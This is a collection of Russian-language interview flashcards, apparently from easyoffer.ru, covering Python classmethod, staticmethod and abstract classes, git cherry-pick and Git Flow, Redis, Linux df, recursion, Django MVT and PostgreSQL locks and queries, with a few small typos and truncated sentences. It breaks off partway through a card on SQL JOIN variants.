Когда метод класса вызывается для экземпляра класса, Python автоматически передает сам экземпляр в метод в качестве первого аргумента. Это значит, что когда вы создаете экземпляр my_object = MyClass(10) и вызываете my_object.show_value(), my_object передается в метод show_value как аргумент self.

https://easyoffer.ru/question/346

51
Q

Как в python реализуются метод класса

6%

A

Метод класса реализуется с помощью декоратора @classmethod. Он преобразует метод в метод класса, что означает, что он принимает класс (cls) в качестве первого аргумента вместо экземпляра класса (self). Могут обращаться к атрибутам класса, но не к атрибутам экземпляра.

Используются для следующего:

Фабричные, создают экземпляры класса, используя параметры начальной установки.
Должны работать с атрибутами класса.
Пример:

class ExampleClass:
class_attribute = “Это атрибут класса”

def init(self, instance_attribute):
    self.instance_attribute = instance_attribute

@classmethod
def class_method(cls):
    # Метод класса может обращаться к атрибутам класса через cls
    print(f"Доступ к атрибуту класса через cls: {cls.class_attribute}")

@classmethod
def create_instance(cls, attribute_value):
    # Методы класса могут использоваться для создания экземпляров
    return cls(attribute_value)

Без создания экземпляра класса
ExampleClass.class_method()

Для создания экземпляра
instance = ExampleClass.create_instance(“Значение атрибута экземпляра”)
print(instance.instance_attribute)
Здесь class_method - класс работает с атрибутами класса, а не с атрибутами конкретного экземпляра. create_instance — это фабричный, использующийся для создания и возвращения нового экземпляра класса с заданным атрибутом.

Отличия от статических и обычных методов

Статические не принимают ни cls, ни self в качестве аргументов. Ведут себя как обычные функции, но принадлежат пространству имен класса.
Обычные принимают экземпляр (self) как первый аргумент и используются для операций, связанных с ним.
Использование методов класса улучшает структуру кода, позволяя четко разграничивать операции, которые применяются к классу, от операций, специфичных для отдельных экземпляров.

https://easyoffer.ru/question/347

52
Q

Как в python реализуются статический метод

6%

A

Cтатические методы реализуются с помощью декоратора @staticmethod. Принадлежит классу, но не получает автоматически ссылку на экземпляр или класс в качестве первого аргумента. Ведет себя как обычная функция, но организован внутри пространства имен класса. Мспользуются для выполнения задач, которые не требуют доступа к атрибутам экземпляра или класса.

Пример:

class ExampleClass:
    @staticmethod
    def static_method():
        print("Это статический метод.")

Вызов статического метода через класс
ExampleClass.static_method()

Вызов статического метода через экземпляр
instance = ExampleClass()
instance.static_method()

Здесь static_method может быть вызван как через имя класса, так и через экземпляр класса, но в обоих случаях он не имеет доступа к атрибутам self или cls.

Статические методы полезны в следующих ситуациях:

Метод должен выполнять какую-то утилитарную функцию.
Для группировки функций, имеющих логическую связь с классом.
Отличие от методов класса и обычных методов

Методы класса (@classmethod) принимают ссылку на cls в качестве первого аргумента и могут обращаться к атрибутам и другим методам класса.
Обычные методы автоматически получают ссылку на self в качестве первого аргумента и используются для работы с данными или поведением конкретного экземпляра.
Статические методы не получают ни self, ни cls автоматически и могут рассматриваться как обычные функции, организованные в пространстве имен класса.
Использование статических методов в классах позволяет поддерживать логическую структурированность кода, сгруппировав вместе функции, которые логически связаны с классом, но не требуют доступа к его атрибутам или экземплярам.

https://easyoffer.ru/question/348

53
Q

Как абстрактный класс реализуется в Python

6%

A

Абстрактные классы реализуются с помощью модуля abc (Abstract Base Classes). Не может быть инстанциирован напрямую и предназначен для того, чтобы служить базовым классом для других классов. Используются для определения общего интерфейса для группы классов и могут содержать один или несколько абстрактных методов. Абстрактный метод — это метод, объявленный в абстрактном классе, но должен быть реализован в подклассах.

Пример создания абстрактного класса:

  1. Импортировать ABC и abstractmethod из модуля abc.
  2. Унаследовать класс от ABC, что делает его абстрактным.
  3. Определить один или несколько методов как абстрактные, используя декоратор @abstractmethod. Должны быть переопределены в неабстрактных подклассах.

Пример абстрактного класса:

from abc import ABC, abstractmethod

class AbstractClass(ABC):
    
    @abstractmethod
    def abstract_method(self):
        pass

class ConcreteClass(AbstractClass):
    
    def abstract_method(self):
        print("Реализация абстрактного метода в конкретном классе")

Создание экземпляра абстрактного класса приведет к ошибке
abstract_instance = AbstractClass()  # TypeError

Создание экземпляра конкретного класса, который реализует абстрактный метод
concrete_instance = ConcreteClass()
concrete_instance.abstract_method()

В этом примере AbstractClass является абстрактным классом, содержащим абстрактный метод abstract_method. Класс ConcreteClass наследуется от AbstractClass и реализует абстрактный метод. Попытка создать экземпляр абстрактного класса AbstractClass напрямую приведет к ошибке, так как абстрактные классы предназначены только для наследования и определения интерфейса.

https://easyoffer.ru/question/349

54
Q

В чем преимущество ООП перед обычными функциями

6%

A

Объектно-ориентированное программирование (ООП) представляет собой парадигму, использующая объекты и классы для организации кода. Он имеет ряд преимуществ по сравнению с процедурным, основанном на функциях. Основные преимущества ООП:

  1. Инкапсуляция

Позволяет скрыть детали реализации класса и предоставлять к нему доступ только через определенный интерфейс. Внутреннее состояние объекта защищено от прямого доступа извне, что упрощает управление данными.

  1. Наследование

Позволяет переиспользовать код и создавать новые классы на основе уже существующих, расширяя их функциональность. Облегчает поддержку кода, поскольку изменения в базовом классе автоматически применяются ко всем производным классам.

  1. Полиморфизм

Позволяет одному и тому же интерфейсу обрабатывать данные разных типов. Методы, принадлежащие разным классам, могут быть вызваны через один и тот же интерфейс, что обеспечивает гибкость и возможность использовать один и тот же код для работы с объектами различных классов.

  1. Абстракция

Позволяет создавать абстрактные классы и интерфейсы, определяющие “шаблоны” для классов. Абстракция упрощает сложные системы, позволяя работать с высокоуровневыми операциями, игнорируя детали реализации.

  1. Упрощение сложных систем

Облегчает проектирование и управление сложными системами, разбивая их на управляемые части, которые можно поддерживать отдельно друг от друга.

  1. Модульность и повторное использование кода

Хотя ООП предлагает множество преимуществ по сравнению с процедурным, выбор подхода зависит от конкретной задачи, требований и предпочтений. ООП особенно хорошо подходит для разработки больших, сложных и взаимосвязанных систем, где необходима четкая организация кода, модульность, повторное использование и легкость в поддержке.

https://easyoffer.ru/question/350

55
Q

Расскажи о технологиях, с которыми работал

6%

A

https://youtu.be/SqHpayljeTc?t=225
https://youtu.be/REN0G58nJAs?t=1495

https://easyoffer.ru/question/623

56
Q

Что такое cherry pick

6%

A

Команда git cherry-pick используется для перенесения отдельных коммитов из одного места репозитория в другое, обычно между ветками разработки и обслуживания. Этот механизм отличается от привычных команд git merge и git rebase, которые переносят коммиты целыми цепочками.

“Cherry pick” — это термин, используемый в контексте систем управления версиями, таких как Git, обозначающий процесс выборочного применения одного или нескольких коммитов из одной ветки разработки в другую. В отличие от слияния (merge) или перебазирования (rebase), которые обычно применяют все изменения из одной ветки в другую, cherry-picking позволяет выборочно применить только те изменения, которые необходимы.

Как это работает

Используется для копирования серии коммитов из одной ветки и применения их к другой ветке. Пример:

Нужно применить исправление ошибки из одной ветки к другой ветке, не применяя все остальные изменения в ветке разработки.
Изменения, сделанные в одной ветке, нужно перенести в другую ветку, но эти ветки слишком различаются для слияния или перебазирования.
Пример:

Есть коммит с идентификатором abc123, который надо перенести из ветки develop в feature. Это можно сделать так:

git checkout feature
git cherry-pick abc123
После выполнения этих команд изменения будут скопированы и применены к текущей ветке feature.

Важные соображения:

Конфликты: При cherry-picking могут возникнуть конфликты, аналогично тому, как это бывает при слиянии или перебазировании. В таких случаях Git потребует от пользователя разрешить конфликты, прежде чем завершить операцию.
История коммитов: Cherry-picking изменяет историю коммитов, создавая новые коммиты с теми же изменениями в другой ветке. Это может привести к дублированию коммитов в разных ветках, если впоследствии будет выполнено слияние без учета этих изменений.
Cherry-picking — мощный инструмент в Git для выборочного применения изменений, но его следует использовать осторожно, особенно в рабочих ветках, где важна чистота истории коммитов.

https://easyoffer.ru/question/71

57
Q

Что в твоем понимании значит правильный код

6%

A

“правильный код” относится к коду, который соответствует ряду ключевых критериев, он хорошо спроектирован и написан с учетом лучших практик программирования. Вот аспекты помогающие определить его:

  1. Читаемость и понятность

Должен быть легко читаемым и понятным для других (а иногда и для самого автора спустя некоторое время). Это достигается за счет использования понятных имен переменных и функций, четкой структуры и организованного форматирования. Комментарии и документация также играют важную роль в обеспечении понятности кода.

  1. Модульность и переиспользование кода

Хорошо спроектированный код часто характеризуется модульностью, когда большие задачи разбиваются на меньшие, управляемые части. Это упрощает разработку и тестирование, и способствует переиспользованию кода.

  1. Эффективность

Оптимизация алгоритмов и структур данных для конкретных задач и условий.

  1. Надежность и безопасность

Способным корректно функционировать в различных условиях и обрабатывать возможные ошибки или исключительные ситуации. Безопасность важна при разработке программ, работающих с чувствительными данными или важными системными ресурсами.

  1. Тестируемость

Его структура и дизайн облегчают написание автоматических тестов для проверки его функциональности и поиска ошибок.

  1. Соблюдение стандартов и лучших практик

Существуют различные стандарты кодирования и лучшие практики для каждого языка программирования, которые помогают разработчикам писать качественный код. Соблюдение этих стандартов и практик может значительно улучшить качество кода.

Правильный код — не только выполняет свою функцию, но и делает это эффективно, безопасно, и может быть легко понят, поддержан или модифицирован другими разработчиками. Создание правильного кода требует времени, опыта и внимания к деталям, но это инвестиции, которые окупаются повышением качества и устойчивости программного обеспечения.

https://easyoffer.ru/question/493

58
Q

Где можно хранить бизнес-логику приложения

6%

A

Бизнес-логика приложения — это сердце вашего программного продукта, включающее в себя правила, алгоритмы и процедуры, которые определяют, как данные обрабатываются и как приложение реагирует на различные входные данные. Размещение ее в структуре приложения важно при обеспечении его модульности, масштабируемости и легкости поддержки. Рассмотрим основные подходы:

  1. Слой бизнес-логики

Выделение её в отдельный слой (или несколько слоёв) в архитектуре. Позволяет четко разграничить логику обработки данных от пользовательского интерфейса и системных операций, таких как работа с базой данных.

  1. Сервисные объекты

Их методы представляют собой операции бизнес-логики. Сервисы могут обращаться к данным через слой доступа к данным (DAL) и предоставлять свои функции другим частям приложения.

  1. Доменные модели

В подходе Domain-Driven Design (DDD) бизнес-логика тесно связана с доменными моделями, которые представляют сущности и взаимодействия вашей предметной области. Методы этих моделей включают логику, необходимую для выполнения операций в соответствии с бизнес-правилами.

  1. Функции-хелперы и утилиты

Для общих операций, не связанных напрямую с бизнес-правилами, могут использоваться вспомогательные функции и утилиты. Помогают избежать дублирования кода и упрощают поддержку приложения.

  1. Потоки обработки и Middleware

В некоторых типах приложений, например, в микросервисных архитектурах или в приложениях, работающих с сообщениями, логика может быть организована в виде потоков обработки или промежуточного ПО(middleware), которые обрабатывают данные в рамках определенного workflow.

Выбор места для хранения и организации бизнес-логики зависит от множества факторов, включая тип приложения, его архитектуру, требования к масштабируемости и легкости поддержки. Важно стремиться к тому, чтобы код был структурирован, легко тестируем и модифицируем, а также обеспечивал четкое разделение ответственности между различными частями приложения.

https://easyoffer.ru/question/491

59
Q

Что такое git flow

6%

A

Git Flow — модель ветвления, предназначенная для работы над проектами и управления их версиями. Предлагает стандартизированный подход к ветвлению и слиянию.

Основные типы веток включают:

Основные:

  • master: Содержит код продакшн-версии. Все релизы начинаются и завершаются в этой ветке.
  • develop: Разработка, содержащая последние изменения кода для следующего релиза. Все фичи и исправления сначала сливаются сюда.

Вспомогательные:

  • feature: Для разработки новых функций. Каждая новая функция создается в отдельной ветке feature и в конечном итоге сливается обратно в develop.
  • release: Для подготовки новых продуктовых релизов. Они позволяют последние подгонки и исправления перед слиянием ветки release в master и develop.
  • hotfix: Для немедленного исправления ошибок в продакшн-версии кода. Hotfix-ветки создаются от master и, после исправления, сливаются обратно в master и develop.

Преимущества:

  • Структурированность: Структура ветвления помогает командам организовать процесс разработки и облегчает навигацию по репозиторию.
  • Гибкость: Позволяет командам адаптироваться к различным сценариям разработки, будь то быстрое внедрение исправлений или длительная разработка новых функций.
  • Поддержка: Распространенная модель с многочисленными руководствами и инструментами, поддерживающими этот подход.

Недостатки:

  • Сложность: Для небольших проектов может показаться излишне сложной и громоздкой из-за большого количества веток и правил.
  • Непрерывная доставка: Может быть не лучшим выбором для проектов, использующих методологии непрерывной интеграции (CI) и непрерывной доставки (CD), поскольку модель предполагает более длительные циклы разработки и релизов.

Git Flow популярная модель ветвления для крупных проектов и команд, которым необходим четкий и организованный процесс управления версиями.

https://easyoffer.ru/question/51

60
Q

Для чего используют redis в проектах

6%

A

Redis (Remote Dictionary Server) — это высокопроизводительная система хранения данных в памяти, используется в качестве распределённого кэша, и для решения других задач, требующих быстрого доступа к данным. Вот основные сценарии использования:

  1. Кэширование данных

Кэширование часто запрашиваемых данных, например, результатов запросов к базе данных или вычислений, требующих значительных ресурсов. Увеличивает скорость ответа приложения, снижая нагрузку на базы данных.

  1. Управление сессиями

Используется для хранения данных сессий пользователей в веб-приложениях. Быстрое чтение и запись данных позволяет быстро сохранять и извлекать состояние сессии.

  1. Очереди сообщений

Может использоваться как система очередей сообщений для асинхронной обработки задач и обмена сообщениями между различными компонентами приложения.

  1. Реализация блокировок

Предлагает механизмы для реализации распределённых блокировок, что позволяет управлять доступом к ресурсам в распределённых системах, гарантируя, что одновременно к ресурсу имеет доступ только один процесс.

  1. Счетчики и статистика

Могут использоваться для сбора статистики и метрик, например, для подсчёта числа посещений веб-страницы.

  1. Поддержка структур данных в реальном времени

Поддерживает сложные структуры данных, такие как списки, множества, отсортированные множества и хэши.

  1. Публикация и подписка

Механизм публикации и подписки (Pub/Sub) позволяет разрабатывать распределённые системы и приложения, реагирующие на события в реальном времени, такие как чаты, системы уведомлений и другие.

Redis предлагает высокую скорость и гибкость при работе с данными в памяти, что делает его подходящим для широкого спектра задач, от простого кэширования до сложных распределённых систем и приложений, работающих с данными в реальном времени.

https://easyoffer.ru/question/64

61
Q

Какие основные команды Git вам известны

6

A

Git — это система контроля версий, предлагает широкий спектр команд для управления кодом и историей изменений. Вот основные команды:

  1. git init
    Инициализирует новый репозиторий в текущей директории. Это первый шаг при начале работы в новом проекте.
  2. git clone [url]
    Клонирует существующий репозиторий по указанному URL. Эта команда создает локальную копию репозитория, позволяя работать с файлами и историей изменений.
  3. git add [file]
    Добавляет файлы в индекс (staging area) для последующего коммита. Вместо конкретного файла можно использовать . для добавления всех измененных.
  4. git commit -m "Сообщение коммита"
    Фиксирует изменения в репозитории, создавая коммит с введенным сообщением.
  5. git status
    Показывает состояние рабочей директории и индекса.
  6. git branch [имя-ветки]
    Создает новую ветку или выводит список существующих веток.
  7. git checkout [имя-ветки или commit]
    Переключает рабочую директорию на указанную ветку или коммит.
  8. git merge [имя-ветки]
    Сливает указанную ветку с текущей веткой. Используется для интеграции изменений из одной ветки в другую.
  9. git pull
    Извлекает изменения из удаленного репозитория и автоматически сливает их с текущей веткой. Это комбинация команд git fetch и git merge.
  10. git push [удаленный-репозиторий] [ветка]
    Отправляет коммиты из локальной ветки в удаленный репозиторий.
  11. git fetch
    Извлекает изменения из удаленного репозитория, но не сливает их с локальной веткой.
  12. git log
    Отображает историю коммитов для текущей ветки, включая сообщения коммитов, авторов и даты.

Эти команды являются основой для работы с Git и позволяют выполнять большинство задач по управлению версиями и сотрудничеству в проектах.

https://easyoffer.ru/question/63

62
Q

Как узнать свободное место на диске в консоли Linux

6%

A

Утилита df, позволяет проанализировать свободное пространство на всех подключенных к системе разделах.
По умолчанию размер отображается в байтах, чтобы сделать его более читаемым, используйте ключ -h.
Если хотите посмотреть только свободное место в определенном каталоге, аргументом можно передать директорию/ утсройство
df -h /home

Другие ключи:
-m - отображать размер в мегабайтах
-T - отображать тип файловой системы
-a - включить в список все файловые системы
-i - отображать используемые иноды

https://easyoffer.ru/question/62

63
Q

Что такое рекурсия

6

A

Рекурсия — это подход или алгоритм, при котором функция вызывает сама себя один или несколько раз в процессе выполнения. Эти вызовы продолжаются до тех пор, пока не будет достигнуто условие остановки, после чего рекурсивные вызовы начинают возвращаться обратно, завершая выполнение.

Принцип работы

Состоит из двух частей:

  1. Базовый случай: Условие, при котором рекурсия прекращается, чтобы избежать бесконечного цикла вызовов.
  2. Рекурсивный случай: Вызов функции самой себей с измененными параметрами.

Пример:

Простым примером может служить функция вычисления факториала числа n, где факториал n (обозначается как n!) — это произведение всех натуральных чисел от 1 до n.

def factorial(n):
    if n == 1:  # Базовый случай
        return 1
    else:  # Рекурсивный случай
        return n * factorial(n - 1)

В этом примере, если n не равно 1, функция вызывает сама себя с параметром n-1. Эти вызовы продолжаются, пока n не достигнет 1, после чего вызовы начинают возвращаться обратно, последовательно умножая числа.

Преимущества и недостатки

Преимущества:

Упрощает решение сложных задач, разбивая их на более мелкие.
Облегчает чтение и понимание кода при решении определенных типов задач.
Недостатки:

Вызовы могут быть менее эффективными по сравнению с итеративными решениями из-за затрат на вызов функций и управление стеком вызовов.
Риск возникновения переполнения стека вызовов при слишком глубокой рекурсии, если не обеспечено адекватное базовое условие.
Рекурсия — это ключевой концепт, позволяющий решать задачи, которые сложно или неудобно решать итеративными методами. Правильное использование рекурсии требует понимания её принципов работы и умения определять базовые случаи для предотвращения бесконечных вызовов.

https://easyoffer.ru/question/185

64
Q

Расскажи про желаемую зарплату

6

A

https://youtu.be/JVALqKDrRcQ?t=3730
https://www.youtube.com/live/MgFH0IkQNMQ?feature=share&t=7093

https://easyoffer.ru/question/622

65
Q

Что тебе больше всего нравится в работе разработчика

6

A

https://youtu.be/FfotHboeF9Q?t=508
https://youtu.be/REN0G58nJAs?t=394

https://easyoffer.ru/question/621

66
Q

Что бы делал в том случае, если бы человек в твоем проекте был человек, который не справляется с задачей

6%

A

https://youtu.be/EtVt0OtppQI?t=531
https://youtu.be/Hvnl_xhNZS8?t=486

https://easyoffer.ru/question/620

67
Q

Что для тебя было сложнее всего в командной работе

6

A

https://youtu.be/oB_COeDpNas?t=274
https://youtu.be/Hvnl_xhNZS8?t=460

https://easyoffer.ru/question/619

68
Q

Какие у тебя есть результаты в бекенд разработке

6

A

https://easyoffer.ru/question/618

69
Q

Как связываешь свою будущую профессию с бекендом Какие цели

6

A

https://easyoffer.ru/question/617

70
Q

Объясни значение Model View Teamplay (MVT)

6

A

MVT — это архитектурный паттерн, используемый в веб-разработке и широко ассоциируемый с Django. Похож на более известный паттерн “Model-View-Controller”, но адаптирован под разработку веб-приложений с некоторыми особенностями Django.

Компоненты:

  1. Model (Модель)
    Представляет структуру данных приложения и бизнес-логику. В Django модели — это Python классы, которые определяют поля и поведение данных, которые вы хотите хранить. Django автоматически предоставляет API для доступа к данным (создание, изменение, удаление, запросы к базе данных) на основе определений моделей.
  2. View (Представление)
    Отвечает за обработку запросов пользователя и возвращение ответов. В Django представления — это Python функции или классы, которые принимают веб-запрос и возвращают веб-ответ. Представления взаимодействуют с моделями и передают данные в шаблоны. Они аналогичны контроллерам в паттерне MVC.
  3. Template (Шаблон)
    Отвечают за представление данных. Это текстовые файлы, которые позволяют миксовать HTML с Django Template Language (DTL) — специальным языком шаблонов Django для динамического генерирования HTML страниц. Шаблоны определяют, как данные, полученные от представлений, будут отображаться пользователю.

Работа MVT в Django:

  1. Запрос пользователя поступает на веб-сервер и интерпретируется URL маршрутизатором Django.
  2. URL маршрутизатор направляет запрос к соответствующему представлению на основе URL паттерна.
  3. Представление обрабатывает запрос, взаимодействует с моделью для получения запрошенных данных или изменения данных в базе данных.
  4. После обработки данных представление выбирает шаблон для генерации HTML страницы и передает в шаблон необходимые данные.
  5. Шаблон рендерится в HTML, который возвращается пользователю в качестве ответа.

MVT делает веб-разработку в Django структурированной и гибкой. Разделение ответственности между моделями, представлениями и шаблонами облегчает разработку, тестирование и поддержку веб-приложений.

https://easyoffer.ru/question/534

71
Q

Объясни как происходит обработка HTTP запросов на Django

6

A

Обработка HTTP-запросов в Django происходит посредством четко определенного рабочего потока, который включает в себя несколько ключевых этапов. Django использует шаблон проектирования Model-View-Template (MVT), который является адаптацией шаблона Model-View-Controller (MVC). “View” играет роль контроллера, управляя логикой приложения и взаимодействием между моделями и шаблонами. Вот основные шаги, через которые проходит HTTP-запрос в Django:

Процесс обработки HTTP-запроса

  1. Получение запроса: Когда пользователь делает запрос к веб-приложению Django (например, переходит по URL), Django принимает этот HTTP-запрос.
  2. URL Resolver: Django использует URLconf (URL configuration) для определения функции или класса представления, который должен обработать запрос. URLconf состоит из паттернов URL, которые сопоставляются с представлениями.
  3. Представление: После того как соответствующее представление определено, Django передает запрос в этот компонент. Представление обрабатывает логику приложения, взаимодействует с моделями для получения данных из базы данных и подготавливает контекст данных для шаблонов.
  4. Шаблон: Представление выбирает шаблон и передает ему контекст данных. Шаблон генерирует HTML-ответ, динамически вставляя данные из контекста.
  5. Ответ: Сгенерированный HTML отправляется обратно в веб-браузер пользователя в виде HTTP-ответа.

Этот процесс позволяет Django эффективно обрабатывать HTTP-запросы, разделяя логику обработки данных, бизнес-логику приложения и представление данных, что делает разработку веб-приложений более организованной и удобной для разработчиков.

https://easyoffer.ru/question/535

72
Q

Как можно заблокировать конкретные поля в Postgres

3

A

В PostgreSQL невозможно напрямую “заблокировать” отдельные поля таблицы для предотвращения их изменения. Если ваша цель — предотвратить изменение определенных столбцов, можно использовать несколько альтернативных подходов:

  1. Триггеры
    Например, вы хотите предотвратить изменение поля username в таблице users. Можно создать его так:
CREATE OR REPLACE FUNCTION prevent_username_change()
RETURNS TRIGGER AS \$\$
BEGIN
    IF OLD.username IS DISTINCT FROM NEW.username THEN
        RAISE EXCEPTION 'Изменение поля username запрещено.';
    END IF;
    RETURN NEW;
END;
\$\$ LANGUAGE plpgsql;

CREATE TRIGGER check_username_update
BEFORE UPDATE ON users
FOR EACH ROW EXECUTE FUNCTION prevent_username_change();

Если значение изменилось, триггер генерирует исключение, предотвращая обновление.

  1. Права доступа

Ограничить изменение определенных столбцов для определенных пользователей, можно использовать систему управления правами доступаL. Для этого можно отозвать права на обновление определенных столбцов для конкретных пользователей:

REVOKE UPDATE ON TABLE users(username) FROM some_user;
Эта команда отзывает у пользователя some_user право обновлять столбец username в таблице users. Однако, эта стратегия требует тщательного управления правами доступа и может быть не всегда удобна для динамически меняющихся условий доступа.

  1. Представления и правила

Использование представлений с правилами или триггерами для обновления, которые могут перенаправлять операции обновления таким образом, чтобы исключить изменение определенных столбцов.
Однако этот метод требует более сложной настройки и может увеличить сложность поддержки базы данных.

В зависимости от ваших требований и сценария использования, один из этих подходов может помочь вам контролировать изменения определенных полей в вашей базе данных PostgreSQL.

https://easyoffer.ru/question/299

73
Q

Какие блокировки бывают в Postgres

3

A

В PostgreSQL блокировки используются для управления параллельным доступом к данным, предотвращая возникновение конфликтов при одновременном выполнении транзакций. Вот основные виды блокировок в PostgreSQL:

  1. Блокировки на уровне строк (Row-Level Locks)

Применяются к отдельным строкам таблицы.

  1. Блокировки на уровне таблиц (Table-Level Locks)

Блокировки на уровне таблиц применяются ко всей таблице. Они могут использоваться для операций, требующих эксклюзивного доступа к таблице, например, при ее изменении структуры (ALTER TABLE).

  1. Блокировки на уровне страниц (Page Locks)

Блокировки на уровне страниц напрямую, но они могут применяться внутренне, например, в индексных структурах для управления доступом к страницам данных.

  1. Совместимые и несовместимые блокировки

Определяет различные уровни блокировок (например, SHARE, EXCLUSIVE), которые могут быть совместимы или несовместимы друг с другом. Это позволяет более тонко управлять параллелизмом, разрешая некоторым операциям выполняться параллельно, если они не конфликтуют.

  1. Совместные блокировки (Advisory Locks)

Совместные блокировки — это механизм, который позволяет приложениям устанавливать собственные блокировки на уровне приложения. Эти блокировки не влияют на внутреннюю логику блокировок PostgreSQL.

  1. Блокировки при предикатном чтении (Predicate Locks)

Используются в сериализуемых транзакциях для предотвращения феномена “фантомного чтения”, когда новые строки, соответствующие условиям WHERE запроса, могут быть добавлены другими транзакциями после чтения данных текущей транзакцией.

Использование и управление блокировками

PostgreSQL автоматически управляет большинством типов блокировок. PostgreSQL может автоматически обнаруживать взаимоблокировки и прерывать одну из транзакций для разрешения ситуации, но лучше стараться избегать таких условий на уровне дизайна приложения.

https://easyoffer.ru/question/300

74
Q

Что такое блокировки (локи) в БД

3

A

Блокировки (локи) в базах данных — это механизмы синхронизации, которые используются для управления доступом к данным при их одновременном изменении несколькими пользователями или процессами. Цель блокировок — обеспечить целостность и согласованность данных, предотвратить конфликты и потерю данных при параллельном выполнении транзакций. Блокировки позволяют реализовать контроль одновременного доступа, который является ключевым аспектом транзакционных систем, поддерживающих свойства ACID.

Типы блокировок:

  • На уровне строки (Row-Level Locks): Блокируют отдельные строки таблицы. Подходят для высококонкурентных систем, где транзакции часто обращаются к разным строкам одной таблицы.
  • На уровне страницы (Page Locks): Блокируют страницы данных, содержащие несколько строк. Используются в некоторых СУБД для управления доступом к группам строк.
  • На уровне таблицы (Table Locks): Блокируют целую таблицу. Применяются для операций, требующих эксклюзивного доступа ко всей таблице.
  • На уровне базы данных: Блокируют доступ к базе данных целиком.
  • Бывают совместными (shared), позволяя одновременное чтение данных несколькими транзакциями, и исключительными (exclusive), когда доступ к данным имеет только одна транзакция, выполняющая изменение данных.

Механизмы

  • Оптимистические: Конфликты возникают редко, и контроль за согласованностью данных происходит в момент фиксации транзакции. Если обнаруживается конфликт, транзакция откатывается.
  • Пессимистические: Конфликты вероятны, и устанавливают блокировки на время выполнения всей транзакции, предотвращая возможные конфликты.

Управление

Системы управления базами данных (СУБД) автоматически управляют блокировками. Понимание и правильное использование блокировок критически важно для разработки надежных и эффективных приложений, работающих с базами данных, особенно в условиях высокой конкуренции за данные.

https://easyoffer.ru/question/301

75
Q

Каким образом можно найти “медленный запрос” и проанализировать его в PostgreSQL

3

A

Чтобы найти и проанализировать “медленные запросы” в PostgreSQL, необходимо выполнить несколько шагов. В PostgreSQL есть мощные инструменты для диагностики производительности запросов, такие как журналирование медленных запросов, использование плана выполнения запросов и системные каталоги для анализа статистики работы базы данных.

Включение журналирования медленных запросов

Первым шагом является настройка сервера на журналирование запросов, которые выполняются дольше заданного времени. Для этого необходимо изменить параметры в конфигурационном файле postgresql.conf:

log_min_duration_statement: устанавливает порог времени в миллисекундах, при превышении которого запрос будет залогирован. Например, установка значения 1000 заставит сервер регистрировать все запросы, выполняющиеся более одной секунды.
logging_collector: должен быть включен (on), чтобы PostgreSQL собирал журналы.
log_directory и log_filename: указывают, где и как будут сохраняться файлы журналов.
После внесения изменений необходимо перезагрузить сервер для применения настроек.

Анализ плана выполнения запроса

Для конкретного запроса используется команда EXPLAIN или EXPLAIN ANALYZE. Она показывает план выполнения запроса, что позволяет понять, как сервер обрабатывает запрос и на каких этапах возникают задержки. Например:

EXPLAIN ANALYZE SELECT * FROM my_table WHERE my_column = 'my_value';

Это выведет подробный отчет о выполнении запроса, включая время, затраченное на каждый шаг, использование индексов и операции соединения.

Использование инструментов и расширений

Для более глубокого анализа можно использовать встроенные инструменты, такие как pg_stat_statements для агрегации статистики по выполненным SQL-запросам, что позволяет выявлять не только медленные, но и часто выполняемые запросы, которые в сумме могут занимать значительное время.

Оптимизация запросов

После того как медленные запросы обнаружены, можно приступать к их оптимизации. Это может включать в себя добавление или изменение индексов, переписывание запросов для улучшения их эффективности, изменение настроек сервера для улучшения производительности и так далее.

Для нахождения и анализа “медленных запросов” необходимо включить журналирование медленных запросов, использовать EXPLAIN ANALYZE для понимания плана выполнения запросов и применять инструменты для анализа статистики выполнения запросов. Эти шаги помогут определить проблемные запросы и пути их оптимизации.

Проще говоря, чтобы найти медленный запрос в базе данных PostgreSQL, нужно сначала включить настройку, которая будет записывать все медленные запросы, а затем анализировать эти запросы и их выполнение, чтобы понять, почему они медленные, и как их можно ускорить.

https://easyoffer.ru/question/302

76
Q

Как выбрать данные из двух таблиц без метода join()

3

A

Можно выбрать данные из двух таблиц без использованияJOIN, используя подзапросы, оператор UNION или перекрестное соединение (CROSS JOIN), в зависимости от того, какой результат вам нужен. Рассмотрим каждый из этих методов.

Использование подзапросов

Позволяют выбрать данные из одной таблицы на основе результатов запроса из другой таблицы. Это не является заменой JOIN в прямом смысле, но может быть полезно для получения связанных данных.

SELECT 
    (SELECT name FROM table2 WHERE table2.id = table1.table2_id) AS name
FROM 
    table1;

Этот запрос выберет имя из table2, где есть соответствующий id для каждой записи в table1. Обратите внимание, что такой подход может быть неэффективным для больших объемов данных.

Использование оператора UNION

Используется для комбинирования результатов двух или более запросов в один набор результатов, исключая дубликаты. Все запросы в нем должны иметь одинаковое количество столбцов в результатах с совпадающими типами данных.

SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;

Этот метод подходит для сценариев, когда вам нужно получить все уникальные записи из обеих таблиц, но не для связывания данных из разных таблиц по какому-либо ключу.

Использование CROSS JOIN (Перекрестное соединение)

Создает декартово произведение двух таблиц, то есть каждая строка первой таблицы соединяется с каждой строкой второй таблицы. Это редко используется для реальных сценариев выборки данных, так как результатом обычно является очень большой набор данных.

SELECT table1.column1, table2.column2
FROM table1
CROSS JOIN table2;

Это подходит для создания комбинаций данных из двух таблиц, но не для извлечения связанных данных.

Выбор данных из двух таблиц без использования JOIN возможен, но методы, такие как подзапросы, UNION и CROSS JOIN, служат разным целям и не всегда являются идеальной заменой связыванию таблиц через JOIN. Ваш выбор метода будет зависеть от конкретной задачи.

Проще говоря, чтобы выбрать данные из двух таблиц без JOIN, можно использовать подзапросы для выбора связанных данных, UNION для объединения наборов данных из двух таблиц, или CROSS JOIN для создания декартова произведения этих таблиц. Выбор метода зависит от задачи, которую вы пытаетесь решить.

https://easyoffer.ru/question/303

77
Q

Как с помощью одного запроса можно выбрать данные из двух таблиц

3

A

Для выбора данных из двух таблиц в одном SQL-запросе обычно используется оператор JOIN. Он позволяет соединять строки из двух или более таблиц на основе связанного столбца между ними. Давайте рассмотрим пример, чтобы лучше понять, как это работает.

Предположим, у нас есть две таблицы: employees и departments.

  • Таблица employees содержит столбцы employee_id, employee_name, и department_id.
  • Таблица departments содержит столбцы department_id и department_name.

Чтобы выбрать имена сотрудников вместе с названиями их отделов, мы можем использовать следующий запрос:

SELECT employees.employee_name, departments.department_name
FROM employees
JOIN departments ON employees.department_id = departments.department_id;

В этом запросе:

  • FROM employees указывает основную таблицу, из которой начинается выборка.
  • JOIN departments ON employees.department_id = departments.department_id соединяет таблицу departments с таблицей employees по общему столбцу department_id.
    Варианты JOIN
  • INNER JOIN (или просто JOIN) выбирает только те строки, которые имеют соответствие в обеих таблицах.
